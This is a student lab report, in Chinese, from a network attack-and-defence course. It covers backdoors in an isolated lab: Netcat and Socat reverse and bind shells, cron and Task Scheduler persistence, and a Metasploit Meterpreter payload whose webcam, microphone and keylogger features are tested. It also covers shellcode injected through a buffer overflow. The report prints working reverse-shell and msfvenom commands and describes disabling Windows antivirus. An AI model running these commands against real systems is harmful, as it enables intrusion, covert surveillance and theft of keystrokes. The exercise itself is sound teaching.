20242407 2026-2027-1 《网络与系统攻防技术》实验二实验报告
实验二_后门原理和实践
20242407 2026-2027-1 《网络与系统攻防技术》实验二实验报告
0.实验问题回答
（1）例举你能想到的一个后门进入到你系统中的可能方式？
我认为一种比较常见的方式是用户运行了来源不明的软件或恶意附件。
例如，攻击者可能将后门程序伪装成正常的软件、破解工具或文档文件，通过邮件附件、软件下载网站或者即时通信工具诱导用户运行。当用户执行该程序后，后门程序可能会在后台启动，并主动连接攻击者控制端，使攻击者能够进一步控制系统。
除此之外，软件漏洞利用、弱口令攻击以及供应链攻击等方式，也可能导致后门程序被植入系统。
（2）例举你知道的后门如何启动起来的方式（Windows及Linux）
Windows系统中常见的后门启动方式包括：
- 利用注册表启动项，例如
Run和RunOnce； - 创建Windows服务，使程序随系统服务启动；
- 使用任务计划程序，在指定时间或事件触发时自动运行；
- 利用启动文件夹执行程序。
Linux系统中常见的启动方式包括：
- 使用cron定时任务周期执行程序；
- 使用systemd服务实现开机启动；
- 利用shell启动脚本执行程序；
- 修改用户配置文件实现自动运行。
本实验中分别使用了Linux环境中的cron定时任务和Windows任务计划程序验证程序自动启动机制。
（3）Meterpreter有哪些给你印象深刻的功能？
Meterpreter作为Metasploit框架中的高级控制模块，提供了较丰富的系统交互功能。
本实验中给我印象比较深刻的功能主要有：
第一，系统信息获取功能。通过sysinfo可以快速查看目标系统版本、计算机名称以及系统架构等信息。
第二，硬件资源访问功能。本实验验证了Meterpreter获取摄像头和音频数据的能力，说明如果攻击者获得未经授权的控制权限，可能进一步造成隐私泄露。
第三，权限检测和提权辅助功能。通过local_exploit_suggester模块，可以根据目标系统环境分析可能存在的提权路径。
第四，扩展性较强。Meterpreter不仅提供基础Shell功能，还可以通过不同模块扩展文件操作、网络信息获取等能力。
（4）如何发现自己的系统有没有被安装后门？
发现系统是否存在后门需要从多个方面进行检查。
首先，可以检查异常进程和服务，例如查看是否存在未知程序长期运行，或者是否存在陌生的系统服务。
其次，可以检查网络连接情况，通过查看开放端口和异常外部连接，发现是否有程序主动连接未知服务器。
再次，可以检查系统启动项，包括Windows注册表启动项、任务计划以及Linux中的cron和systemd服务。
此外，还可以利用杀毒软件、安全检测工具以及日志分析工具，对系统文件和行为进行检测。
在日常使用中，避免运行来源不明的软件，及时更新系统补丁，并限制程序权限，也是降低后门风险的重要措施。
1.基础知识
1.1 后门原理
后门是一种绕过正常安全机制，使用户能够再次访问或控制系统的隐藏机制。
在正常情况下，用户需要经过身份认证、权限检查等过程才能访问系统资源。而后门通常通过预留特殊访问方式，使控制端能够绕过正常流程与目标系统建立通信，从而执行命令、获取信息或管理系统。
Netcat、Socat等工具本身是正常的网络通信工具，并不属于恶意程序。但是，如果这些工具被用于建立未经授权的远程访问通道，就可能形成后门，导致系统信息泄露、权限滥用等安全问题。
本实验主要通过Netcat、Socat以及Metasploit中的Meterpreter模拟后门建立过程，理解后门程序与控制端之间的通信方式。
1.2 Shell与反弹Shell
Shell是操作系统提供的命令解释环境，用户可以通过Shell输入命令并由操作系统执行。
在Linux系统中，常见Shell包括bash、sh等。当攻击者获取目标系统Shell后，可以通过命令行方式执行目标主机上的操作。
传统情况下，控制端主动连接目标主机获取Shell。但是在实际环境中，由于防火墙、NAT等网络限制，目标主机可能无法直接被访问，因此产生了反弹Shell。
反弹Shell的特点是由目标主机主动向控制端建立连接。连接成功后，目标主机的Shell输入输出被重定向到网络连接中，使控制端能够远程执行命令。
本实验中，Netcat由Kali主动连接Windows监听端，Meterpreter由Windows主动连接Kali控制端，均采用反向连接方式；Socat则由Windows主动连接Kali的监听端，属于正向Shell连接。
1.3 Netcat与Socat
Netcat是一种常用的网络工具，可以建立TCP或UDP连接，同时支持监听端口、数据传输等功能。
在网络攻防实验中，Netcat经常被用于测试网络连通性、建立简单Shell连接以及进行文件传输。
Socat是一种功能更强大的网络转发工具，可以连接不同类型的数据流，并实现协议之间的数据转发。
相比Netcat，Socat支持更多参数配置，例如创建伪终端、执行程序以及进行更加复杂的数据转发。
本实验中，使用Netcat完成远程Shell建立和文件传输，使用Socat验证了更加灵活的Shell建立方式。
1.4 cron与任务计划
cron是Linux系统中的定时任务管理机制，可以按照用户设置的时间周期自动执行指定程序或脚本。
用户可以通过crontab配置任务，例如设置程序每分钟、每天或每周自动运行。
Windows系统中提供了任务计划程序，可以根据时间、系统事件等条件自动启动指定程序。
本实验分别利用Linux中的cron和Windows任务计划程序，实现程序按照计划自动执行，从而理解程序持久化启动的基本原理。
1.5 Metasploit Framework与Meterpreter
Metasploit Framework（MSF）是一个常用的安全测试框架，提供漏洞验证、Payload生成、监听处理等功能。
其中，msfvenom用于生成不同类型的Payload，可以根据目标操作系统、处理器架构以及通信方式生成对应的程序文件或Shellcode。
Meterpreter是Metasploit中的高级控制模块。当目标程序运行并与控制端建立连接后，攻击者可以通过Meterpreter会话执行命令、获取系统信息以及调用扩展功能。
本实验中使用Meterpreter完成了目标系统信息获取、摄像头访问、音频采集、权限检测以及提权分析等功能验证。
1.6 Shellcode与代码注入
Shellcode是一段可以直接执行的机器代码，通常用于漏洞利用过程中的代码注入。
与调用程序中已有函数不同，Shellcode由攻击者自行准备，并在程序执行流程改变后运行。
在缓冲区溢出攻击中，攻击者通常通过覆盖返回地址改变程序执行流程，使CPU跳转到Shellcode所在位置，从而执行指定代码。
本实验结合实验一中的pwn1程序，使用Metasploit生成Linux x86反弹Shell Shellcode，并将其注入程序执行流程，验证Shellcode从生成、注入到执行的完整过程。
2.实验内容
本实验主要围绕Linux和Windows环境下后门建立、远程控制以及Shellcode注入展开，具体实验内容如下：
（1）使用Netcat建立远程Shell连接，并结合Linux系统中的cron定时任务，实现指定任务的自动执行。
（2）使用Socat建立远程Shell连接，并利用Windows任务计划程序实现程序按照计划自动启动。
（3）使用Metasploit Framework生成Meterpreter可执行程序，通过Ncat进行文件传输，并在目标主机运行后建立Meterpreter控制会话，获取目标主机Shell。
（4）使用Meterpreter验证后门程序的高级功能，包括目标主机系统信息获取、摄像头访问、音频采集、键盘记录功能验证以及本地提权检测。
（5）使用Metasploit生成Linux x86反弹Shell Shellcode，将其注入实验一中的pwn1程序，通过程序漏洞触发Shellcode执行，获取反弹连接Shell。
3.实验过程
3.1 Netcat获取Shell与cron定时任务
3.1.1 使用Netcat获取远程Shell
本实验使用Windows 11物理主机和Kali Linux虚拟机构建实验环境，两台设备通过VMware的仅主机模式进行通信。其中，Windows主机IP地址为192.168.81.1，Kali虚拟机IP地址为192.168.81.128。
本部分实验以Windows主机作为控制端，Kali虚拟机作为被控端，通过Netcat建立网络连接，实现远程Shell访问。
首先，检查两台设备的IP地址，并通过Ping命令测试网络连通性。确认网络正常后，在Windows PowerShell中执行以下命令，使用Ncat监听5002端口：
ncat -lv 192.168.81.1 5002
随后，在Kali终端执行以下命令，主动连接Windows主机：
ncat 192.168.81.1 5002 --exec /bin/bash
其中，--exec /bin/bash参数用于在连接建立后启动Bash，并将其输入输出关联到网络连接，使Windows控制端能够通过Ncat向Kali发送命令并接收执行结果。
连接建立后，在Windows监听窗口依次输入以下命令：
whoami
hostname
pwd
id
通过这些命令分别查看远程用户身份、主机名、当前工作目录以及用户权限信息。
Windows控制端成功接收到Kali发起的连接，随后依次执行whoami、hostname、pwd和id命令，均得到了正常返回。其中用户名为kali，主机名为sunyuze，用户UID为1000，具体执行结果如下图所示。这说明Netcat远程Shell已经成功建立，Windows能够通过网络执行Kali系统中的命令。
3.1.2 使用cron执行定时任务
在完成Netcat远程Shell实验后，进一步使用Linux系统中的cron实现任务的周期性执行。
本实验选择每分钟自动记录一次当前系统时间和主机名，并将记录追加到日志文件中，通过日志内容判断定时任务是否按照预定周期执行。
首先，在Kali终端检查cron服务的运行状态：
sudo systemctl status cron
确认服务正常运行后，创建脚本20242407_cron_task.sh，内容如下：
#!/bin/bash
echo "$(date '+%Y-%m-%d %H:%M:%S') 主机名: $(hostname) 定时任务执行成功" >> /home/kali/20242407_cron.log
脚本中，date用于获取当前系统时间，hostname用于获取主机名，>>表示将执行结果追加到指定日志文件中，而不是覆盖原有内容。
保存脚本后，执行以下命令添加执行权限：
chmod +x ~/20242407_cron_task.sh
随后，使用crontab -e编辑当前用户的定时任务配置，在文件末尾添加：
* * * * * /bin/bash /home/kali/20242407_cron_task.sh
cron表达式中的五个星号依次对应分钟、小时、日期、月份和星期，表示每分钟执行一次指定脚本。
保存配置后，使用以下命令查看当前用户的定时任务：
crontab -l
确认任务配置正确后，等待一段时间，再查看日志文件：
cat ~/20242407_cron.log
通过crontab -l可以看到，定时任务已经成功添加，设置为每分钟执行一次20242407_cron_task.sh脚本。随后查看日志文件，发现其中连续记录了23:20:01和23:21:01两次执行结果，时间间隔为一分钟，与预设的执行周期一致。具体的任务配置和日志记录如下图所示，说明cron能够按照设定的时间自动执行脚本，并将执行结果写入日志文件。
通过本部分实验，使用Netcat建立了Windows控制端与Kali被控端之间的远程Shell连接，并利用Linux系统的cron机制实现了脚本的周期性执行，加深了对远程Shell通信方式和定时任务工作原理的理解。
3.2 Socat获取Shell与任务计划启动
3.2.1 使用Socat获取远程Shell
在完成Netcat远程Shell实验后，本部分使用Socat实现类似的远程控制功能，并进一步了解Socat在数据转发和终端交互方面的特点。
本次实验继续使用Windows 11物理主机和Kali Linux虚拟机，其中Windows作为控制端，Kali作为被控端。Windows主机IP地址为192.168.81.1，Kali虚拟机IP地址为192.168.81.128。
首先，在Kali终端启动Socat监听服务，监听5004端口，并将新建立的连接关联到Bash：
socat TCP-LISTEN:5004,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
其中，TCP-LISTEN用于监听指定端口，reuseaddr允许重新使用监听地址，fork用于为连接创建子进程，EXEC用于启动指定程序，pty则用于分配伪终端。
随后，在Windows端打开PowerShell，进入Socat程序所在目录，执行以下命令连接Kali：
.\socat.exe STDIO TCP:192.168.81.128:5004
其中，STDIO表示使用当前终端的标准输入和输出，TCP用于指定目标主机地址和端口。连接建立后，Windows终端便可以通过Socat与Kali中的Bash进行交互。
为了验证Shell是否正常工作，在Windows连接窗口中依次执行：
whoami
hostname
pwd
id
连接建立后，在Windows端依次执行whoami、hostname、pwd和id命令，均获得了Kali返回的执行结果，其中用户名为kali，主机名为sunyuze。虽然运行过程中出现了与Cygwin环境有关的FAST_CWD警告，但并未影响远程命令的正常执行。具体运行情况如下图所示，说明Socat远程Shell连接已经成功建立。
.png)
3.2.2 使用Windows任务计划程序自动启动Socat任务
在成功建立Socat远程Shell后，本实验进一步结合Windows任务计划程序，验证通过系统任务调度机制自动启动Socat程序的过程。
为了便于观察任务是否真正执行，我没有直接将远程Shell设置为自动启动，而是设计了一个简单的验证任务：Windows在指定时间自动运行Socat，通过TCP连接向Kali发送一条预设消息。Kali收到消息后，即可证明任务计划成功触发了Socat程序。
首先，在Kali终端使用Socat监听5005端口，准备接收Windows发送的数据：
socat TCP-LISTEN:5005,reuseaddr STDOUT
随后，在Windows端准备批处理脚本20242407_socat_task.cmd。该脚本用于调用Socat连接Kali的5005端口，并发送以下测试消息：
20242407_socat_schedule_success
完成脚本准备后，打开Windows任务计划程序，创建名称为20242407_Socat_Task的计划任务。
在任务配置中，设置触发器为指定时间执行一次，并将操作设置为启动20242407_socat_task.cmd脚本。这样，当到达预设时间时，Windows就会自动运行脚本并启动Socat。
为检查脚本能否正常运行，首先手动执行了一次计划任务，确认Kali能够收到测试消息。随后继续等待预设的任务触发时间，观察任务是否可以在无人手动操作的情况下自动执行。
到达预设时间后，Windows任务计划程序自动执行了20242407_Socat_Task，最后运行结果显示为0x0，表明任务正常结束。
同时，Kali端的Socat监听窗口成功接收到20242407_socat_schedule_success测试消息，接收日志中记录的时间为2026-10-11 23:50:50。以下两张截图分别展示了Windows端的任务执行记录和Kali端的消息接收情况。结合两端的执行结果，可以确认Windows任务计划程序成功按照预设时间启动了Socat，并完成了测试消息的发送。
通过本部分实验，使用Socat建立了Windows与Kali之间的远程Shell连接，并结合Windows任务计划程序完成了Socat任务的自动执行。相比Netcat，Socat在数据流转发和终端处理方面具有更灵活的配置方式，而任务计划机制则可以实现程序按照预设条件自动运行。
3.3 MSF Meterpreter后门实验
3.3.1 使用Metasploit生成Meterpreter可执行文件
在完成Netcat和Socat远程Shell实验后，本部分使用Metasploit Framework生成Meterpreter可执行文件，进一步了解后门程序的通信和远程控制原理。
本次实验中，Kali Linux作为控制端，Windows 11作为被控端，与前两部分实验的控制方向不同。Kali的IP地址为192.168.81.128，Windows的IP地址为192.168.81.1。
首先，在Kali终端检查Metasploit Framework是否安装成功，并确认目标Windows系统为64位架构。
本实验选择windows/x64/meterpreter/reverse_tcp作为Payload。该Payload用于在程序运行后向控制端发起TCP连接，并建立Meterpreter会话。
使用Metasploit中的msfvenom生成Windows x64可执行文件，输出文件命名为20242407_test.exe。
生成完成后，在Kali终端检查文件信息：
file 20242407_test.exe
ls -l 20242407_test.exe
检查结果显示，生成的20242407_test.exe是64位Windows PE可执行文件，文件大小为7168字节，与msfvenom输出的生成信息一致。生成过程中，终端提示Saved as: 20242407_test.exe，说明可执行文件已成功保存，具体生成结果如下图所示。
随后，在Kali中启动Metasploit控制台，使用exploit/multi/handler模块，配置与生成文件相对应的Payload类型、监听IP地址和端口。
主要配置如下：
PAYLOAD: windows/x64/meterpreter/reverse_tcp
LHOST: 192.168.81.128
LPORT: 4444
完成Payload类型、监听地址和端口等参数配置后，启动Handler监听模块。Metasploit显示已在192.168.81.128:4444启动反向TCP监听，等待Windows端测试程序建立连接，具体配置及监听状态如下图所示。
3.3.2 使用Ncat传输可执行文件
在生成Meterpreter可执行文件后，需要将其从Kali传输至Windows主机。
最初直接使用Ncat传输二进制文件，但接收后的文件大小与原文件不一致：Kali中的原文件为7168字节，Windows接收后的文件为14018字节。进一步比较文件哈希值，发现两者并不相同，说明文件在传输或保存过程中发生了变化。
通过检查传输方式发现，文件内容变化发生在Windows端接收和保存数据的过程中。直接通过终端重定向保存二进制数据时，猜测可能受到终端编码及数据处理方式的影响，导致接收到的文件无法保持原始字节内容。因此，本实验改用Base64编码方式进行传输，以避免二进制数据在终端处理过程中发生变化。
为了避免这一问题，本实验改用Base64编码方式传输文件。
首先，在Kali中将可执行文件转换为Base64文本：
base64 20242407_test.exe > 20242407_test.exe.b64
随后，通过Ncat将编码后的文本文件传输至Windows主机，再使用Windows自带的certutil工具进行解码。
首次解码时，Windows系统提示错误0x800700e1，即ERROR_VIRUS_INFECTED，表明文件被系统安全防护机制识别并拦截。
在授权实验过程中，临时调整Windows安全防护设置后重新进行解码，最终成功恢复出可执行文件。从下图可以看到，Windows端通过Ncat接收Base64编码文件后，使用certutil完成了解码，终端显示输出文件长度为7168字节，并提示解码命令成功完成。恢复后的文件大小与Kali端原文件一致，说明此前文件长度异常的问题已经得到解决。不过，文件大小一致并不能完全证明文件内容相同，还需要通过SHA256哈希值对比进一步验证文件完整性。
3.3.3 建立Meterpreter会话并获取系统信息
完成文件传输后，在隔离的实验网络环境中运行Windows端测试程序，并观察Kali端Metasploit监听窗口的变化。
程序运行后，Kali端成功接收到反向连接，Metasploit显示：
Meterpreter session 1 opened
这表明Windows端程序已经与Kali控制端建立连接，并成功创建Meterpreter会话。
进入Meterpreter会话后，执行以下命令，查看当前会话的用户身份及操作系统信息：
getuid
sysinfo
从getuid和sysinfo的执行结果可以看到，当前Meterpreter会话对应的Windows用户为SEREIN\联想，目标操作系统为Windows 11，系统构建版本为26100，处理器架构为x64，与实际实验环境一致。具体的会话建立及系统信息获取结果如下图所示，说明Meterpreter已经成功与目标主机建立连接，并能够正常获取系统信息。需要注意的是，getuid只能确认当前会话的用户身份，不能直接判断是否具有管理员权限，因此不能据此认定已经成功提权。
通过本部分实验，完成了Meterpreter可执行文件生成、Ncat文件传输以及Meterpreter会话建立，并成功获取了Windows目标主机的基本系统信息。同时，实验中出现的二进制文件传输异常和Windows安全防护拦截，也说明了文件完整性检查和系统安全防护的重要性。
3.4 Meterpreter功能验证与本地提权检测
3.4.1 本地提权检测
在上一部分成功建立Meterpreter会话后，本实验进一步测试Metasploit提供的本地提权检测功能，了解Meterpreter在目标系统权限分析方面的作用。
首先，通过getuid查看当前Meterpreter会话的用户身份。实验结果显示，当前会话对应的用户为SEREIN\联想。由于getuid只能确定当前用户身份，不能直接判断是否具有管理员权限，因此还需要结合后续检测结果进行分析。
随后，在Metasploit控制台使用post/multi/recon/local_exploit_suggester模块，对目标系统可能存在的本地提权路径进行检测：
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
该模块根据目标系统的版本、架构以及相关环境信息，对多个本地提权模块进行适用性检查，并输出检测结果。
本次实验共进行了45项相关检查，检测结果中，bypassuac_dotnet_profiler、bypassuac_fodhelper和bypassuac_sdclt等模块显示目标系统可能满足利用条件，具体检测结果如下图所示。其中，The target appears to be vulnerable表示目标系统可能符合相应模块的使用条件，并不代表漏洞已经被成功利用。由于本次实验没有获得实际提权成功的结果，因此只能确认完成了本地提权路径的检测与分析，不能认定已经取得管理员或SYSTEM权限。
3.4.2 摄像头访问功能验证
完成权限检测后，继续测试Meterpreter对目标主机摄像头设备的访问能力。
首先，在Meterpreter会话中执行以下命令，查看目标系统中可用的摄像头设备：
webcam_list
执行结果显示，目标系统存在一个摄像头设备：
1: Integrated Camera
随后，在本人授权的测试设备上执行：
webcam_snap
执行webcam_list命令后，Meterpreter成功识别出目标主机的摄像头设备Integrated Camera。随后通过webcam_snap进行图像采集，终端返回Got frame信息，并将获取到的图像保存为JPEG文件，具体执行结果如下图所示。这说明Meterpreter能够在具备相应权限的情况下访问目标主机的摄像头资源，如果被未经授权的程序利用，可能造成用户隐私泄露。
3.4.3 音频采集功能验证
接下来，测试Meterpreter对目标主机麦克风设备的访问能力。
本实验在Meterpreter会话中执行以下命令，录制10秒测试音频：
record_mic -d 10
其中，-d 10用于指定录音持续时间为10秒。
执行record_mic -d 10命令后，Meterpreter调用目标主机的麦克风设备进行音频采集，录制时间为10秒。录制完成后，终端显示音频已保存为WAV文件，具体执行结果如下图所示。这说明Meterpreter能够在具备相应权限的情况下访问目标主机的音频输入设备。结合前面的摄像头实验，可以看出Meterpreter不仅能够执行系统命令，还可以访问摄像头、麦克风等硬件资源，如果被未经授权的程序利用，可能造成用户隐私泄露。
3.4.4 键盘记录功能验证
最后，对Meterpreter提供的键盘记录功能进行测试。
键盘记录功能可以监测目标系统中的键盘输入事件。在正常授权的安全测试中，可以利用这一功能了解远程控制程序对用户输入数据的访问能力。
本实验首先查看Meterpreter的帮助信息，确认当前会话支持keyscan_start、keyscan_dump和keyscan_stop等键盘记录相关命令。随后，在授权测试环境中启动键盘记录功能，手动输入非敏感测试内容，并通过keyscan_dump查看记录结果。完成验证后，使用keyscan_stop停止记录。具体操作及测试结果如下图所示，说明Meterpreter能够记录并读取目标系统中的键盘输入信息。
通过本次测试，了解了Meterpreter键盘记录功能的工作方式，也认识到该功能如果被恶意软件利用，可能造成用户输入信息泄露，尤其是账号、密码等敏感数据的泄露。
本次实验仅针对测试输入进行功能验证，不涉及真实账户密码等敏感信息。
通过上述实验，进一步验证了Meterpreter除基本Shell功能外，还具备系统权限检测、摄像头访问、音频采集和键盘输入监测等功能。与Netcat、Socat提供的基本远程Shell相比，Meterpreter具有更加丰富的功能，也说明未经授权的远程控制程序可能对系统安全和用户隐私造成较大威胁。
3.5 MSF Shellcode注入pwn1
3.5.1 生成MSF Shellcode
本部分实验继续使用实验一中的pwn1程序，通过缓冲区溢出漏洞改变程序执行流程，使其执行由Metasploit生成的Shellcode，并建立反弹Shell连接。
与前面针对Windows系统的Meterpreter实验不同，本次实验在Kali Linux环境中进行，使用的是实验一中的32位Linux可执行文件pwn1_20242407。
首先，在Kali终端检查目标程序的文件类型：
file pwn1_20242407
检查结果表明，该程序是32位ELF可执行文件。因此，本实验选择linux/x86/shell_reverse_tcp作为Payload，与目标程序的系统环境和处理器架构保持一致。
随后，使用Metasploit提供的msfvenom生成Shellcode：
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.81.128 LPORT=4444 -f python
其中，LHOST设置为Kali的IP地址192.168.81.128，LPORT设置为4444端口，-f python表示以Python字节串形式输出Shellcode，便于后续写入实验脚本。
执行命令后，msfvenom成功输出了Python格式的Shellcode字节串，并显示Payload size: 68 bytes，说明生成的Shellcode长度为68字节。具体生成结果如下图所示。
3.5.2 构造Shellcode注入文件
在实验一中，已经通过调试分析了pwn1程序的缓冲区溢出漏洞，并使用Python脚本构造过包含Shellcode的输入文件。
因此，本次实验继续使用原有的pwn1_20242407程序和shellcode.py脚本，在原有输入结构的基础上，将Shellcode替换为Metasploit生成的反弹Shell Payload。
构造的输入数据主要由四部分组成：32字节填充数据、4字节返回地址、100字节NOP指令以及68字节Shellcode。
其中，填充数据用于到达返回地址所在位置，返回地址用于改变程序执行流程，NOP指令用于形成缓冲区，最后的Shellcode负责建立反弹连接。
完成脚本修改后，执行以下命令生成输入文件：
python3 shellcode.py > input
随后，检查输入文件的大小：
wc -c input
执行脚本后，通过wc -c input查看输入文件的大小，结果显示为204字节，与前面计算的32+4+100+68=204字节一致。输入文件的生成及大小验证结果如下图所示。需要注意的是，文件长度符合预期并不代表Shellcode已经成功执行，还需要在后续实验中通过GDB进一步验证。
3.5.3 使用GDB调试并验证反弹Shell
完成输入文件构造后，进一步通过GDB调试pwn1_20242407程序，观察缓冲区溢出后程序的执行情况。
由于程序运行时的地址随机化可能影响返回地址的定位，实验过程中在受控测试环境中临时调整了ASLR设置，以便复现实验一中的调试条件。
首先，在Kali终端启动Netcat监听4444端口：
nc -lvnp 4444
随后，打开另一个终端，使用GDB加载目标程序：
gdb ./pwn1_20242407
进入GDB后，使用准备好的输入文件运行程序：
run < input
该操作将构造的数据提供给目标程序，由程序自身的缓冲区溢出漏洞触发异常的控制流转移。
在GDB中执行run < input后，调试窗口显示程序执行过程中启动了/usr/bin/dash，部分输入内容也被当作Shell命令处理，具体情况如下图所示。由于这一现象不能直接证明MSF生成的反弹Shellcode已经成功执行，因此还需要结合监听端的连接情况进一步分析。
经过重新检查并再次测试，最终在Netcat监听窗口观察到了反向连接建立的提示。
为了进一步验证该连接是否能够提供Shell交互，在监听窗口输入以下测试命令：
whoami
hostname
pwd
id
经过后续测试，Netcat监听窗口成功接收到来自192.168.81.128的连接。在监听端依次执行whoami、hostname、pwd和id命令后，均得到了正常返回，其中用户名为kali，主机名为sunyuze，当前工作目录为/home/kali/桌面。具体执行结果如下图所示，说明监听端已经建立了能够正常执行系统命令的Shell连接。
通过本部分实验，将实验一中学习的缓冲区溢出原理与Metasploit生成的Shellcode结合起来，进一步了解了Shellcode的生成、输入数据构造以及漏洞触发后的程序执行过程。
4.问题及解决方案
问题1：使用Ncat传输可执行文件后，文件大小和哈希值不一致
在Meterpreter实验中，最初通过Ncat直接传输生成的Windows可执行文件。传输完成后发现，Kali中的原文件大小为7168字节，而Windows接收到的文件大小为14018字节。
进一步比较文件哈希值，发现两者也不相同，说明接收到的文件内容已经发生变化，无法直接用于后续实验。
问题1解决方案：
通过对比传输前后的文件大小和哈希值，确认文件在接收和保存过程中发生了变化。结合当时使用的终端重定向方式，判断这一问题可能与Windows终端对二进制数据的处理有关。为避免这一问题，本实验改用Base64编码方式进行文件传输。
为了避免二进制数据在终端处理过程中发生变化，改用Base64编码方式传输文件。
首先，在Kali中将原始可执行文件转换为Base64文本，再通过Ncat传输至Windows，最后使用certutil将文本还原为可执行文件。
采用这一方式后，Windows端成功恢复出7168字节的文件，与原文件大小一致，解决了此前接收文件长度异常的问题。
不过，本次最终保留的验证结果主要是文件大小一致，尚未通过最终SHA256对比完整证明两端文件内容完全相同。
问题2：Shellcode注入pwn1后未立即建立反弹连接
在最后一部分实验中，已经使用Metasploit生成了Linux x86反弹Shell Shellcode，并通过Python脚本生成了204字节的输入文件，但最初运行pwn1_20242407时，Netcat监听端没有立即收到预期连接。
随后，在GDB调试过程中还出现了程序转而执行/usr/bin/dash，并将输入数据当作Shell命令处理的现象，与预期的反弹连接结果不一致。
问题3解决方案：
首先，重新检查目标程序的架构、Shellcode类型、输入文件长度以及监听地址和端口，确认所使用的Payload与32位Linux程序相匹配。
随后，通过独立测试程序检查反弹连接功能，确认相应网络通信能够正常建立，再将检查重点转回pwn1程序的输入文件和执行流程。
调试过程中也发现，程序进入/usr/bin/dash并不等于已经成功执行MSF生成的反弹Shellcode，因此不能将这一现象作为实验成功的依据。
之后，继续使用GDB加载pwn1_20242407，通过run < input提供构造的数据，并在另一个终端使用Netcat观察反弹连接。后续测试中，监听端成功出现连接提示，再通过whoami、hostname等简单命令验证Shell的交互能力。
通过这一问题，认识到Shellcode文件生成成功、程序执行发生变化和最终获得反弹Shell是三个不同的验证环节，必须结合实际运行结果判断实验是否成功，不能只根据某一个中间现象得出结论。
5.学习感悟、思考等
通过本次实验，我对后门的工作原理和远程控制方式有了更加直观的认识。之前对后门的理解主要停留在能够远程控制计算机这一层面，而通过Netcat和Socat实验，我发现实现远程Shell并不一定需要复杂的软件，关键在于建立网络连接，并将Shell的输入输出与连接关联起来。同时，控制端和被控端的角色也不是固定的，需要根据实际的监听方向和连接方向进行判断。
在cron和Windows任务计划实验中，我进一步了解了操作系统的任务调度机制。本实验中，Linux的cron用于每分钟记录一次日志，Windows任务计划程序则用于定时启动Socat并发送测试消息。这些功能本身属于正常的系统自动化机制，但如果被恶意程序利用，也可能成为后门自动运行的方式。这让我认识到，同一种系统功能在不同的使用场景下，可能产生完全不同的安全影响。
Meterpreter实验给我的印象比较深刻。除了获取基本的系统信息，它还能够访问摄像头、麦克风等设备，说明后门带来的风险并不局限于命令执行，还可能涉及用户隐私。在测试提权功能时，我也发现检测出可能存在的提权路径，并不代表已经成功获得更高权限，分析实验结果时必须区分检测信息和实际执行结果。
本次实验中也遇到了一些问题。例如，使用Ncat直接传输可执行文件时，接收到的文件大小与原文件不一致，后来改用Base64编码方式完成传输和解码，恢复后的文件大小与原文件一致；Windows安全防护对测试文件的拦截，也让我直观地看到了安全软件在恶意程序检测中的作用。此外，在最后的Shellcode注入实验中，程序执行结果与预期不一致时，不能简单认为程序已经成功执行Shellcode，而需要结合GDB调试和监听端的实际反馈进一步判断。
相比实验一主要关注缓冲区溢出和程序执行流程，本次实验将漏洞利用、网络通信和远程控制联系了起来，让我对这些知识之间的关系有了更完整的理解。同时，我也认识到后门防范不能只依赖杀毒软件，还需要关注异常进程、网络连接、启动项以及定时任务等方面。
通过这次实验，我不仅熟悉了Netcat、Socat和Metasploit等工具的基本使用方法，也进一步认识到了系统安全防护的重要性。今后在使用计算机时，我会更加注意软件来源、程序权限和系统中的异常行为，避免因运行未知程序或忽视安全提示而造成不必要的风险。
浙公网安备 33010602011771号